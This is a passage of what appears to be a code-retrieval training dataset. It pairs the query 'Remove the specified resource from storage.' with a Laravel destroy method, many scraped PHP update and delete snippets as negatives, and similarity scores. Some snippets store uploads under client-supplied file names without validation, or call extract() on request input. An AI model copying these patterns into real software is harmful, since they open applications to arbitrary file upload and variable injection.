"public function update(Request $request, $id)\n {\n\n $product = Product::findOrFail($id);\n $product->name = $request['name'];\n $product->price = $request['price'];\n $product->stock = $request['stock'];\n $product->description = $request['description'];\n\n $file = $request->file('image');\n $fileName = $file->getClientOriginalName();\n if($fileName != $product->image){\n $request->file('image')->move('images/',$fileName);\n $product->image = $fileName;\n }\n\n $product->save();\n\n return redirect()->route('products.show',\n $product->id)->with('flash_message',\n 'Article, '. $product->name.' updated');\n }",
"protected function handleUpdate()\n {\n $resource = $this->argument('resource');\n $action = $this->option('action');\n $startPage = (int)$this->option('startPage');\n $perPage = (int)$this->option('perPage');\n\n try {\n $harvest = Harvest::where('resource', $resource)->where('action', $action)->firstOrFail();\n } catch (\\Exception $e) {\n $this->info('There is no existing action for updating ' . ucwords($action) . ' ' . ucwords($resource) . '.');\n exit('Nothing was updated.');\n }\n\n $options = [\n 'startPage' => $startPage,\n 'perPage' => $perPage,\n 'lastRun' => $harvest->last_run_at\n ];\n\n // If a lastRun was given use that\n // OR if this has never been run before use 2001-01-01\n if (!empty($this->option('lastRun'))) {\n $options['lastRun'] = new Carbon($this->option('lastRun'));\n } elseif (is_null($options['lastRun'])) {\n $options['lastRun'] = new Carbon('2001-01-01');\n }\n\n $job = new UpdateResourceJob(\n $harvest,\n $options\n );\n\n $message = 'Updating ' . $action . ' ' . $resource . ' ' . $perPage . ' at a time';\n if (isset($lastRun)) {\n $message .= ' with entries updated since ' . $lastRun->format('r');\n }\n $this->info($message);\n $this->dispatch($job);\n }",
"abstract public function put($data);",
"public function update($id, $data);",
"public function update($id, $data);",
"public function update($id, $data);",
"public function update($id, $data);",
"public function update($id, $data);",
"public function testUpdateSupplierUsingPUT()\n {\n }",
"public function update(Request $request, $id)\n {\n $storageplace = Storageplace::findOrFail($id);\n $storageplace->update($request->only(['storageplace']));\n return $storageplace;\n }",
"public function updateRelatedImage(Request $request, $id)\n {\n // Delete display image in Storage\n Validator::make($request->all(), ['photos' => \"required|file|image|mimes:jpg,png,jpeg|max:5000\"])->validate();\n\n\n if ($request->hasFile(\"photos\")) {\n\n $photo = ProductsPhoto::find($id);\n $imageName = $photo->photos;\n $exists = Storage::disk('local')->exists(\"public/product_images/\" . $photo->photos);\n\n //delete old image\n if ($exists) {\n Storage::delete('public/product_images/' . $imageName);\n }\n\n //upload new image\n $ext = $request->file('photos')->getClientOriginalExtension(); //jpg\n\n $request->photos->storeAs(\"public/product_images/\", $imageName);\n\n $arrayToUpdate = array('photos' => $imageName);\n DB::table('products_photos')->where('id', $id)->update($arrayToUpdate);\n\n return redirect()->route(\"adminDisplayRelatedImageForm\", ['id' => $photo->product_id]);\n } else {\n\n $error = \"NO Image was Selected\";\n return $error;\n }\n }",
"public function update(Request $request, $id)\n {\n $skill = Skill::findOrFail($id);\n\n $skill->skill = $request->skill;\n\n if ($request->hasFile('image')) {\n \\Cloudder::upload($request->file('image'));\n $c=\\Cloudder::getResult();\n // $image = $request->file('image');\n // $filename = time() . '.' . $image->getClientOriginalExtension();\n // $location = public_path('images/' . $filename);\n // Image::make($image)->save($location);\n\n $skill->image = $c['url'];\n }\n\n $skill->save();\n\n Session::flash('success', 'Successsfully updated your skill!');\n return redirect()->route('skills.index');\n }",
"public function updateStream($path, $resource, Config $config = null)\n {\n $contents = stream_get_contents($resource);\n\n return $this->write($path, $contents, $config);\n }",
"public abstract function update($object);",
"public static function update($id, $file)\n {\n Image::delete($id);\n\n Image::save($file);\n }",
"public function update(Request $request, $id)\n {\n $product = Product::find($id);\n $image = $product->image;\n if($request->hasFile('image')){\n $image = $request->file('image')->store('files');\n \\Storage::delete($product->image);\n } \n $product->name = $request->get('name');\n $product->price = $request->get('price');\n $product->description = $request->get('description');\n $product->additional_info = $request->get('additional_info');\n $product->category_id = $request->get('category');\n $product->subcategory_id = $request->get('subcategory');\n $product->image = $image;\n $product->save();\n return redirect()->back();\n }",
"public function update(Request $request, $id)\n {\n $sli=Slider::find($id);\n $sli->sort_order=$request->input('sort_order');\n $image = $request->file('slider');\n if($image == ''){\n $image = $sli->slider;\n }else{\n $image = base64_encode(file_get_contents($request->file('slider')));\n }\n $sli->slider = $image;\n $sli->save();\n return redirect()->back();\n }",
"public function update(ProductRequest $request, $id)\n {\n $input = Product::find($id);\n $data = $request->all();\n if ($file = $request->file('product_photo')){\n $name = time().$file->getClientOriginalName();\n $file->move('product_image',$name);\n $data['product_photo']=$name;\n// $input->update($data);\n }\n $input->update($data);\n return redirect('admin/products/');\n }",
"public function update(Request $request, $id)\n {\n $volume = $this->findVolume($id);\n\n if(count($volume) > 0) {\n $volume->str_volume_name = $request->str_volume_name;\n\n $volume->save();\n }\n\n return response()\n ->json(\n array(\n 'message' => 'Volume is successfully updated.',\n 'volume' => $volume\n ),\n 201\n );\n }",
"public function update(Request $request, $id)\n {\n $product = ProductModel::find($id);\n $product->name = $request->name;\n $product->description = $request->description;\n $product->price = $request->price;\n $product->stock = $request->stock;\n\n if($request->image!=null){\n $imageName = time().'.'.$request->image->extension();\n $request->image->move(public_path('images'), $imageName);\n $product->image = \"/images/\".$imageName;\n }\n $product->save();\n return redirect(\"/products/index\")->with('success','Product has been updated');\n }",
"public function update()\n {\n $accessory = Accessories::find(request('id'));\n\n if ($accessory == null) {\n return response()->json([\"error\" => \"aksesuaras nerastas\"], 404);\n }\n\n $this->validateData();\n $path = $accessory->src;\n\n if (request()->hasFile('src')) {\n\n if (Storage::disk('public')->exists($accessory->src)) {\n Storage::disk('public')->delete($accessory->src);\n }\n $path = request()->file('src')->store('accessoriesImages', 'public');\n }\n\n $accessory->update(array_merge($this->validateData(), ['src' => $path]));\n\n return response()->json([\"data\" => $accessory], 200);\n }",
"public function update(ProductStoreRequest $request,$id)\n {\n $data = $request->validated();\n $product = Product::where('id',$id);\n $product->update($data);\n return response(\"Producto actualizado con éxito\",200);\n }",
"public function update($entity)\n {\n \n }",
"public function updateStream($path, $resource, Config $config)\n {\n return $this->write($path,stream_get_contents($resource),$config);\n }",
"public function update($id, Request $request)\n {\n date_default_timezone_set('Asia/Taipei');\n $data = $request->all();\n $dbData = Product::find($id);\n $myfile = Storage::disk('local');\n if ($request->hasFile('img')) {\n $file = $request->file('img');\n $path = $myfile->putFile('public', $file);\n $data['img'] = $myfile->url($path);\n File::delete(public_path($dbData->img));\n }\n $dbData->update($data);\n\n if ($request->hasFile('imgs')) {\n // $this->fetchDestroyByProdId($id);\n $localS = Storage::disk('local');\n\n $fileS = $request->file('imgs');\n $imgs = [];\n foreach ($fileS as $i) {\n $pathS = $localS->putFile('public', $i);\n $imgs[] = $localS->url($pathS);\n }\n foreach ($imgs as $img) {\n ProductImg::create([\n 'product_id' => $id,\n 'img' => $img\n ]);\n }\n }\n\n return redirect()->route('admin');\n }",
"public function update(Request $request, Product $product)\n { $remfile= $product->image;\n if($request->filep){\n $product->image=$request->filep;\n File::delete(storage_path('app/public/products/'.$remfile));\n }else{\n $product->image=$remfile;\n }\n //rmdir(storage_path('app/public/products/'.$remfile));\n $product->name = $request->name;\n $product->description = $request->description;\n $product->price = $request->price;\n $product->save();\n sleep(3);\n toast('Details updated successfully','info');\n return redirect('/products');\n }",
"public function update($id, $input);",
"public function update(ProductRequest $request,int $id): ProductResource\n {\n $attributes = $request->only('supplier_id', 'name', 'warehouses');\n\n return new ProductResource($this->productRepository->update($id, $attributes)); }",
"public function update(Request $request, $id)\n {\n $slider=new Slider;\n $slider=$slider::find($id);\n \n \n if($file =$request->file('slider')){\n if(Storage::delete('public/slider/'.$slider->slider)){\n\n //Get file original name//\n \n$original_name=$file->getClientOriginalName();\n\n //Get just the file name\n$filename=pathinfo($original_name,PATHINFO_FILENAME);\n\n//Create new file name\n$name=$filename.'_'.time().'.'.$file->getClientOriginalExtension();\n\n $destination='public/slider';\n $path=$request->slider->storeAs($destination,$name);\n $slider->slider=$name;\n $slider->save();\n return redirect('Admin/slider');\n\n }\n }\n}",
"public function update(Request $request, $id)\n {/* dd($request->all()); */\n $acheivePic = $this->acheiveRepo->find($id);\n $acheive = $request->except('_method', '_token', 'photo', 'ar', 'en');\n $acheiveTrans = $request->only('ar', 'en');\n\n if ($request->hasFile('icon')) {\n // Delete old image first.\n $oldPic = public_path() . '/images/acheives/' . $acheivePic->icon;\n File::delete($oldPic);\n\n // Save the new one.\n $image = $request->file('icon');\n $imageName = $this->upload($image, 'acheives');\n $acheive['icon'] = $imageName;\n }\n\n $this->acheiveRepo->update($id, $acheive, $acheiveTrans);\n\n return redirect('admin-panel/widgets/acheive')->with('updated', 'updated');\n }",
"public function update(Request $request, $id)\n {\n $data = $request->all();\n extract($data);\n\n $productVarient = new ProductVariant();\n $productVarient = $productVarient->find($id);\n $productVarient->vendor_id = auth()->user()->id;\n $productVarient->description = $prod_desc;\n $productVarient->price = $price;\n\n if(request()->hasFile('photo')){\n $image = request()->file('photo')->getClientOriginalName();\n $imageNewName = auth()->user()->id.'-'.$image;\n $file = request()->file('photo');\n $file->storeAs('images/product',$imageNewName, ['disk' => 'public']);\n $productVarient->image = $imageNewName;\n }\n \n $productVarient->save();\n\n return back()->withStatus(__('Product successfully updated.'));\n }",
"public function update(Request $request, $id)\n {\n //if upload new image, delete old image\n $myfile=$request->old_photo;\n if($request->hasfile('photo'))\n {\n $imageName=time().'.'.$request->photo->extension();\n $name=$request->old_photo;\n\n if(file_exists(public_path($name))){\n unlink(public_path($name));\n $request->photo->move(public_path('backendtemplate/truefalseimg'),$imageName);\n $myfile='backendtemplate/truefalseimg/'.$imageName;\n }\n }\n //Update Data\n $truefalsequestion=TrueFalseQuestion::find($id);\n $truefalsequestion->name=$request->name;\n $truefalsequestion->photo=$myfile;\n $truefalsequestion->answer = $request->answer;\n $truefalsequestion->question_id = $request->question;\n $truefalsequestion->save();\n\n //Redirect\n return redirect()->route('truefalsequestions.index'); \n }",
"public function update($id);",
"public function update($id);",
"private function update()\n {\n $this->data = $this->updateData($this->data, $this->actions);\n $this->actions = [];\n }",
"public function put($path, $data = null);",
"public function update(Request $request, $id)\n {\n $request->validate([\n 'path_image'=>'image',\n 'status'=>'required|in:0,1'\n ]);\n $slider=Slider::whereId($id)->first();\n if (is_null($slider)){\n return redirect()->route('sliders.index')->with('error','Slider does not exist');\n }\n try {\n if ($request->hasFile('path_image')){\n $file = $request->file('path_image');\n\n $image_path= $file->store('/sliders',[\n 'disk'=>'uploads'\n ]);\n Storage::disk('uploads')->delete($slider->image);\n\n $request->merge([\n 'image'=>$image_path,\n ]);\n }\n\n $slider->update( $request->only(['status','image']));\n return redirect()->route('sliders.index')->with('success','Updated successful');\n }catch (\\Exception $exception){\n return redirect()->route('sliders.index')->with(['error'=>'Something error try again']);\n\n }\n }",
"public function update() {\n $this->accessory->update($this->accessory_params());\n\n if ($this->accessory->is_valid()) {\n $this->update_accessory_image($this->accessory);\n redirect('/backend/accessories', ['notice' => 'Successfully updated.']);\n } else {\n redirect(\n '/backend/accessories/edit',\n ['error' => $this->accessory->errors_as_string()],\n ['id' => $this->accessory->id]\n );\n }\n }",
"public function update(Entity $entity);",
"public function update(Request $request, $id)\n {\n $icon = SliderIcon::find($id);\n $data = $request->all();\n $data['active'] = $request->has('active') ? 1 : 0;\n if ($request->hasFile('img')) {\n if (Storage::disk('public')->exists(str_replace('storage', '', $icon->img))){\n Storage::disk('public')->delete(str_replace('storage', '', $icon->img));\n }\n $image = $request->file('img');\n $fileName = time().'_'.Str::lower(Str::random(5)).'.'.$image->getClientOriginalExtension();\n $path_to = '/upload/images/'.getfolderName();\n $image->storeAs('public'.$path_to, $fileName);\n $data['img'] = 'storage'.$path_to.'/'.$fileName;\n }\n $icon->update($data);\n return redirect()->route('slider_icons.index')->with('success', 'Данные преимущества обнавлены');\n }",
"public function update() {\n\t $this->layout = false;\n\t \n\t //set default response\n\t $response = array('status'=>'failed', 'message'=>'HTTP method not allowed');\n\t \n\t //check if HTTP method is PUT\n\t if($this->request->is('put')){\n\t //get data from request object\n\t $data = $this->request->input('json_decode', true);\n\t if (empty($data)) {\n\t $data = $this->request->data;\n\t }\n\t \n\t //check if product ID was provided\n\t if (!empty($data['id'])) {\n\t \n\t //set the product ID to update\n\t $this->Player->id = $data['id'];\n\t if ($this->Player->save($data)) {\n\t $response = array('status'=>'success','message'=>'Product successfully updated');\n\t } else {\n\t $response['message'] = \"Failed to update product\";\n\t }\n\t } else {\n\t $response['message'] = 'Please provide product ID';\n\t }\n\t }\n\t \n\t $this->response->type('application/json');\n\t $this->response->body(json_encode($response));\n\n\t return $this->response->send();\n\t}",
"public function update(Request $request, $id)\n {\n //validate incoming request\n $request->validate([\n 'name' => 'string|max:100|nullable',\n 'picture' => 'max:2000|mimes:jpeg,jpg,png,svg|nullable', //max size 2mb,\n 'total' => 'integer|min:0|nullable', //value must be > 0\n 'selling_price' => 'numeric|min:0|nullable',\n 'cost_price' => 'numeric|min:0|nullable',\n 'category_id' => 'integer|nullable'\n ]);\n\n try {\n $product = Auth::user()->store->product()->findorFail($id);\n } catch (ModelNotFoundException $e) {\n return response()->json([\n \"message\" => \"Forbidden\"\n ], 403);\n }\n\n //if category id isnt null\n if ($category_id = $request->category_id) {\n if (!$this->isCategoryIdValid($category_id))\n return response()->json([\n \"message\" => \"Category Id is not valid\"\n ], 422);\n else\n $product->category_id = $request->category_id;\n }\n\n //if uploaded file exist\n if ($picture = $request->file(\"picture\")) {\n //if product already has logo\n if ($product->picture)\n Storage::delete(Product::$PICTURE_PATH . \"/\" . $product->picture);\n\n $picture_path = $picture->store(Product::$PICTURE_PATH);\n //remove folder name from path\n $product->picture = str_replace(Product::$PICTURE_PATH . \"/\", '', $picture_path);\n }\n\n $this->renewProduct($product, $request);\n $product->save();\n return response()->json(new ProductResource($product), 200);\n }",
"public function update(Request $request, $id)\n {\n $request->validate([\n 'name' => 'required | min:3 | string',\n 'type' => 'required',\n 'producer' => 'required',\n 'image' => 'image | mimes:png,jpg,jpeg',\n 'price_input' => 'required | numeric | min:0 | max:300000000',\n 'promotion_price' => 'required | numeric | max:300000000',\n 'description' => 'required | string',\n\n ]);\n $product = Product::withTrashed()->findOrfail($id);\n $product->name = $request->name;\n $product->id_type = $request->type;\n $product->id_producer = $request->producer;\n\n $product->amount = $request->amount;\n if (request('image')) {\n $product->image = base64_encode(file_get_contents($request->file('image')->getRealPath()));\n }\n\n $product->price_input = $request->price_input;\n\n if ( $request->promotion_price >= 0 && $request->promotion_price < $product->price_input) {\n $product->promotion_price = $request->promotion_price;\n }else{\n return back()->with('error', '\n Do not enter a negative number');\n }\n $product->new = $request->new;\n\n $product->description = $request->description;\n\n $product->save();\n $product->size()->sync(request('size'));\n\n return redirect()->route('product.index')->with('success', 'Product Updated successfully');\n }",
"public function update(Request $request, $id)\n {\n $product = Product::find($id);\n\n $product->name = $request->input('name');\n $product->description = $request->input('description');\n $product->lastPrice = $product->price !== $request->input('price') ? $product->price : NULL;\n $product->price = $request->input('price');\n\n if ($request->hasFile('image')) { \n $currentImg = $product->image;\n if ($currentImg) {\n Storage::delete('/public/' . $currentImg);\n }\n $image = $request->file('image'); \n $path = $image->store('images','public');\n $product->image = $path;\n };\n\n $product->save(); \n\n $product_promotions = $request->input('promotion');\n\n $product->promotions()->sync($product_promotions);\n\n return redirect()->route('admin.modify');\n }",
"public static function updateImage($fileName, $imageId, $storage)\n {\n //Get image name and storage location for image\n $image = Image::where('id', '=', $imageId)->first();\n\n //Delete old image\n ResourceHandler::delete($image->name, $image->storage);\n\n //Store the new image\n $image->name = $fileName;\n $image->storage = $storage;\n\n $image->save();\n }",
"public function update($request, $id)\n {\n $this->checkExits($id);\n $data = $request->except(['_method','_token','photo']);\n\n if($request->photo)\n {\n try {\n $this->UploadFile($request);\n } catch (\\Exception $e) {\n //if has exception , don't has action\n }\n if ($this->img !== '') {\n $data['img'] = $this->img;\n }\n }\n\n $this->object->update($data);\n\n }",
"public function updateProduct($request, $product)\n {\n $product->update($request->except(['_token', '_method', 'image']));\n if ($request->hasFile('image')) {\n $image = $request->file('image');\n $imageName = time() . '.' . $request->file('image')->extension();\n // $img = Image::make('public/foo.jpg');\n\n $image_resize = Image::make($image->getRealPath());\n $image_resize->resize(500, 500);\n $image_resize->save(public_path('images/') . $imageName, 100);\n $product->gallery = $imageName;\n $product->save();\n }\n $product->getTags()->sync($request->input('tags'));\n }"
] | [
"0.7425105",
"0.70612276",
"0.70558053",
"0.6896673",
"0.6582159",
"0.64491373",
"0.6346954",
"0.62114537",
"0.6145042",
"0.6119944",
"0.61128503",
"0.6099993",
"0.6087866",
"0.6052593",
"0.6018941",
"0.60060275",
"0.59715486",
"0.5946516",
"0.59400934",
"0.59377414",
"0.5890722",
"0.5860816",
"0.5855127",
"0.5855127",
"0.58513457",
"0.5815068",
"0.5806887",
"0.57525045",
"0.57525045",
"0.57337505",
"0.5723295",
"0.5714311",
"0.5694472",
"0.5691319",
"0.56879413",
"0.5669989",
"0.56565005",
"0.56505877",
"0.5646085",
"0.5636683",
"0.5633498",
"0.5633378",
"0.5632906",
"0.5628826",
"0.56196684",
"0.5609126",
"0.5601397",
"0.55944353",
"0.5582592",
"0.5581908",
"0.55813426",
"0.5575312",
"0.55717176",
"0.55661047",
"0.55624634",
"0.55614686",
"0.55608666",
"0.55599797",
"0.55599797",
"0.55599797",
"0.55599797",
"0.55599797",
"0.55573726",
"0.5556878",
"0.5554201",
"0.5553069",
"0.55530256",
"0.5543788",
"0.55435944",
"0.55412996",
"0.55393505",
"0.55368495",
"0.5535236",
"0.5534954",
"0.55237365",
"0.5520468",
"0.55163723",
"0.55125296",
"0.5511168",
"0.5508345",
"0.55072427",
"0.5502385",
"0.5502337",
"0.5501029",
"0.54995877",
"0.54979175",
"0.54949397",
"0.54949397",
"0.54946727",
"0.5494196",
"0.54941916",
"0.54925025",
"0.5491807",
"0.5483321",
"0.5479606",
"0.5479408",
"0.5478678",
"0.54667485",
"0.5463411",
"0.5460588",
"0.5458525"
] | 0.0 | -1 |
Remove the specified resource from storage. | public function destroy(Blogger $blogger)
{
if((auth()->user()->hasPermissionTo('blogger_delete') != true))
return $this->permission_denied('blogger_dashboard');
$status = $blogger->delete() ? array(
'msg' => "Blogger has been deleted successfully!",
'toastr' => "successToastr") : array(
'msg' => "Some Error occured. Try again.",
'toastr' => "errorToastr");
Session::flash($status['toastr'], $status['msg']);
return redirect()->route('bloggers');
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function delete($resource){\n return $this->fetch($resource, self::DELETE);\n }",
"public function destroy(Resource $resource)\n {\n //\n }",
"public function removeResource($resourceID)\n\t\t{\n\t\t}",
"public function unpublishResource(PersistentResource $resource)\n {\n $client = $this->getClient($this->name, $this->options);\n try {\n $client->delete(Path::fromString($this->getRelativePublicationPathAndFilename($resource)));\n } catch (FileDoesNotExistsException $exception) {\n }\n }",
"public function deleteResource(&$resource) {\n\n if ($this->connector != null) {\n $this->logger->addDebug(\"Deleting Resource Node from Neo4J database\");\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id}}) detach delete a;\",\n [\n 'id' => $resource->getID()\n ]\n );\n $this->logger->addDebug(\"Updated neo4j to remove resource\");\n }\n\n }",
"public function deleteShopifyResource() {\n $this->getShopifyApi()->call([\n 'URL' => API::PREFIX . $this->getApiPathSingleResource(),\n 'METHOD' => 'DELETE',\n ]);\n }",
"public function deleteResource()\n {\n $database = new Database();\n $id = $this->_params['id'];\n $database->deleteResource($id);\n $this->_f3->reroute('/Admin');\n }",
"protected function deleteResource($fileName, $storage)\n {\n if (Storage::disk($storage)->exists($fileName)) \n {\n return Storage::disk($storage)->delete($fileName);\n }\n }",
"public function delete()\n {\n persistableCollection::getInstance($this->resourceName)->deleteObject($this);\n }",
"public function remove()\n {\n $this->_getBackend()->remove($this->_id);\n }",
"public function remove()\n {\n if (! ftruncate($this->fileHandle, 0)) {\n throw new StorageException(\"Could not truncate $this->path\");\n }\n if (! unlink($this->path)) {\n throw new StorageException(\"Could not delete $this->path\");\n }\n }",
"public function delete()\n\t{\n\t\t$s3 = AWS::createClient('s3');\n $s3->deleteObject(\n array(\n 'Bucket' => $this->bucket,\n 'Key' => $this->location\n )\n );\n\t\tif($this->local_file && file_exists($this->local_file)) {\n\t\t\tunlink($this->local_file);\n\t\t}\n $this->local_file = null;\n\t}",
"public function delete()\n\t{\n\t\tsfCore::db->query(\"DELETE FROM `swoosh_file_storage` WHERE `id`='%i';\", $this->id);\n\t\t$this->fFile->delete();\n\t}",
"public function delete(): void\n {\n unlink($this->getPath());\n }",
"public function delete()\n {\n if($this->exists())\n unlink($this->getPath());\n }",
"public function remove($path);",
"function deleteFileFromStorage($path)\n{\n unlink(public_path($path));\n}",
"public function delete(): void\n {\n unlink($this->path);\n }",
"private function destroyResource(DrydockResource $resource) {\n $blueprint = $resource->getBlueprint();\n $blueprint->destroyResource($resource);\n\n $resource\n ->setStatus(DrydockResourceStatus::STATUS_DESTROYED)\n ->save();\n }",
"public static function delete($fileName, $storage)\n {\n if (Storage::disk($storage)->exists($fileName)) \n {\n return Storage::disk($storage)->delete($fileName);\n }\n }",
"public function remove() {}",
"public function remove() {}",
"public function remove();",
"public function remove();",
"public function remove();",
"public function remove();",
"function delete_resource($resource_id, $page)\n\t{\n\t\t//get resource data\n\t\t$table = \"resource\";\n\t\t$where = \"resource_id = \".$resource_id;\n\t\t\n\t\t$this->db->where($where);\n\t\t$resource_query = $this->db->get($table);\n\t\t$resource_row = $resource_query->row();\n\t\t$resource_path = $this->resource_path;\n\t\t\n\t\t$image_name = $resource_row->resource_image_name;\n\t\t\n\t\t//delete any other uploaded image\n\t\t$this->file_model->delete_file($resource_path.\"\\\\\".$image_name, $this->resource_path);\n\t\t\n\t\t//delete any other uploaded thumbnail\n\t\t$this->file_model->delete_file($resource_path.\"\\\\thumbnail_\".$image_name, $this->resource_path);\n\t\t\n\t\tif($this->resource_model->delete_resource($resource_id))\n\t\t{\n\t\t\t$this->session->set_userdata('success_message', 'resource has been deleted');\n\t\t}\n\t\t\n\t\telse\n\t\t{\n\t\t\t$this->session->set_userdata('error_message', 'resource could not be deleted');\n\t\t}\n\t\tredirect('resource/'.$page);\n\t}",
"public function deleteImage(){\n\n\n Storage::delete($this->image);\n }",
"public function del(string $resource): bool|string\n {\n $json = false;\n $fs = unserialize($_SESSION['rfe'][$this->getRoot()], ['allowed_classes' => false]);\n if (array_key_exists($resource, $fs)) {\n // if $item has children, delete all children too\n if (array_key_exists('dir', $fs[$resource])) {\n foreach ($fs as $key => $file) {\n if (isset($file['parId']) && $file['parId'] == $resource) {\n unset($fs[$key]);\n }\n }\n }\n unset($fs[$resource]);\n $_SESSION['rfe'][$this->getRoot()] = serialize($fs);\n $json = '[{\"msg\": \"item deleted\"}]';\n }\n return $json;\n }",
"public function destroy()\n\t{\n\t\treturn unlink(self::filepath($this->name));\n\t}",
"public function destroy($id) {\n $book = Book::find($id);\n // return unlink(storage_path(\"public/featured_images/\".$book->featured_image));\n Storage::delete(\"public/featured_images/\" . $book->featured_image);\n if ($book->delete()) {\n return $book;\n }\n\n }",
"public function destroy($id)\n {\n Storageplace::findOrFail($id)->delete();\n }",
"public function destroyResourceImage(): void\n\t{\n\t\tif (isset($this->image)) {\n\t\t\t@imagedestroy($this->image->getImageResource());\n\t\t}\n\t}",
"public function deleteResource(PersistentResource $resource)\n {\n $pathAndFilename = $this->getStoragePathAndFilenameByHash($resource->getSha1());\n if (!file_exists($pathAndFilename)) {\n return true;\n }\n if (unlink($pathAndFilename) === false) {\n return false;\n }\n Files::removeEmptyDirectoriesOnPath(dirname($pathAndFilename));\n return true;\n }",
"public function deleteImage(){\n \tStorage::delete($this->image);\n }",
"public function destroy()\n {\n $file=public_path(config('larapages.media.folder')).Input::all()['folder'].'/'.Input::all()['file'];\n if (!file_exists($file)) die('File not found '.$file);\n unlink($file);\n }",
"public function delete() \r\n {\r\n if($this->exists())\r\n {\r\n unlink($this->fullName());\r\n }\r\n }",
"public function destroy($id)\n {\n Myfile::find($id)->delete();\n }",
"public function destroy($delete = false)\n {\n if (null !== $this->resource) {\n $this->resource->clear();\n $this->resource->destroy();\n }\n\n $this->resource = null;\n clearstatcache();\n\n // If the $delete flag is passed, delete the image file.\n if (($delete) && file_exists($this->name)) {\n unlink($this->name);\n }\n }",
"public static function delete($path){\r\n $currentDir = getcwd();\r\n $storageSubPath = \"/../../\".STORAGE_PATH;\r\n $file = $currentDir . $storageSubPath . '/' . $path;\r\n\r\n unlink($file);\r\n }",
"public function destroy(Storage $storage)\n {\n return redirect()->route('storages.index');\n }",
"public function remove() {\n //Check if there are thumbs and delete files and db\n foreach ($this->thumbs()->get() as $thumb) {\n $thumb->remove();\n } \n //Delete the attachable itself only if is not default\n if (strpos($this->url, '/defaults/') === false) {\n Storage::disk('public')->delete($this->getPath());\n }\n parent::delete(); //Remove db record\n }",
"public function removeFile($uri){\n return Storage::disk('public')->delete($uri);\n }",
"public function destroy(Resource $resource)\n {\n if( $resource->delete() ){\n return Response(['status'=>'success','message'=>'Resource deleted']); \n } else {\n return Response(['status'=>'error', 'message'=>'Something went wrong']);\n }\n }",
"public function delete($path);",
"public function delete($path);",
"public function destroy($id)\n { \n File::find($id)->remove();\n \n return redirect()->route('files.index');\n }",
"public function destroy($id)\n {\n $supplier = Supplier::find($id);\n $photo = $supplier->photo;\n if ($photo) {\n unlink($photo);\n }\n $supplier->delete();\n }",
"public function destroy($id)\n {\n $student = Student::where('id', $id)->first();\n // $path = $student->image;\n unlink($student->image);\n Student::findOrFail($id)->delete();\n return response('Deleted!');\n }",
"public function destroy($id)\n {\n $icon = SliderIcon::find($id);\n if (Storage::disk('public')->exists(str_replace('storage', '', $icon->img))){\n Storage::disk('public')->delete(str_replace('storage', '', $icon->img));\n }\n $icon->delete();\n return redirect()->route('slider_icons.index')->with('success', 'Данные преимущества удалёны');\n }",
"public function delete($path, $data = null);",
"public function destroy($id)\n {\n $items=Items::find($id);\n // delete old file\n if ($items->photo) {\n $str=$items->photo;\n $pos = strpos($str,'/',1);\n $str = substr($str, $pos);\n $oldFile = storage_path('app\\public').$str;\n File::Delete($oldFile); \n }\n $items->delete();\n return redirect()->route('items.index');\n }",
"public function destroy($id)\n {\n $carousel = Carousel::find($id);\n $image = $carousel->image;\n\n $basename ='img/carousel/' . basename($image);\n //Delete the file from disk\n if(file_exists($basename)){\n unlink($basename);\n }\n //With softDeletes, this is the way to permanently delete a record\n $carousel->delete();\n Session::flash('success','Product deleted permanently');\n return redirect()->back();\n }",
"public function remove()\n {\n $fs = new Filesystem();\n $fs->remove($this->dir());\n }",
"public static function destroy(int $resource_id)\n {\n try {\n $image_data = ListingImage::where('id', $resource_id)->first();\n self::delete_image($image_data->name);\n $delete = ListingImage::where('id', $resource_id)->delete();\n\n // activity()\n // ->causedBy(Auth::user()->id)\n // ->performedOn($delete)\n // ->withProperties(['id' => $delete->id])\n // ->log('listing image deleted');\n return response()->json(['status'=> 'ok', 'msg'=> 'Data deleted successfully']);\n } catch (Exception $e) {\n $e->getMessage();\n }\n }",
"public function destroy(Storage $storage)\n {\n $this->storage->destroy($storage);\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource deleted', ['name' => trans('product::storages.title.storages')]));\n }",
"public function del($path){\n\t\treturn $this->remove($path);\n\t}",
"public function destroy($id)\n {\n //\n $product = Product::findOrFail($id);\n $product->delete();\n if($product->img != 'product-default.png'){\n Storage::delete(\"public/uploads/\".$product->img);\n // return 'deleted';\n }\n return redirect()->route('product.index'); \n }",
"public function removeUpload()\n{\n if ($file = $this->getAbsolutePath()) {\n unlink($file); \n }\n}",
"public function destroy($id)\n {\n $image = Images::withTrashed()->find($id);\n\n Storage::disk('uploads')->delete(\"social-media/$image->filename\");\n\n $image->tags()->detach();\n $image->detachMedia(config('constants.media_tags'));\n $image->forceDelete();\n\n return redirect()->back()->with('success', 'The image was successfully deleted');\n }",
"public function destroyByResourceId($resource_id)\n {\n// $online_party = $this->onlinetrack->where('resource_id', $resource_id)->get()->first();\n// $online_party->status = \"offline\";\n// $online_party->save();\n// return $online_party;\n return $this->onlinetrack->where('resource_id', $resource_id)->delete();\n }",
"public function revoke($resource, $permission = null);",
"public function destroy($id)\n {\n $data=Image::find($id);\n $image = $data->img;\n\n\n $filepath= public_path('images/');\n $imagepath = $filepath.$image;\n\n //dd($old_image);\n if (file_exists($imagepath)) {\n @unlink($imagepath);\n }\n\n\n $data->delete();\n\n return redirect()->route('image.index');\n }",
"function delete($path);",
"public function removeItem(int $id)\n\t{\n\t\t$this->storage->remove($id);\n\t}",
"public function destroy(File $file)\n {\n //\n $v = Storage::delete($file->path);\n \n }",
"public function destroyResource($resource)\n {\n if (!is_object($resource)) {\n return false;\n }\n\n $resource_type = get_class($resource);\n $resource_id = $resource->getKey();\n\n return Role::where('resource_type', $resource_type)\n ->where('resource_id', $resource_id)\n ->delete();\n }",
"public function remove($filePath){\n return Storage::delete($filePath);\n }",
"public function remove(): void\n {\n $file = $this->getAbsolutePath();\n if (!is_file($file) || !file_exists($file)) {\n return;\n }\n\n unlink($file);\n }",
"public function destroy(Request $request, Storage $storage)\n {\n $storage->delete();\n $request->session()->flash('alert-success', 'Запись успешно удалена!');\n return redirect()->route('storage.index');\n }",
"public function remove(Storable $entity): Storable\n {\n $this->getRepository(get_class($entity))->remove($entity);\n $this->detach($entity);\n\n return $entity;\n }",
"public function processDeletedResource(EntityResource $resource)\n {\n /** @var AuthorizationRepository $repository */\n $repository = $this->entityManager->getRepository('Edweld\\AclBundle\\Entity\\Authorization');\n\n $repository->removeAuthorizationsForResource($resource);\n }",
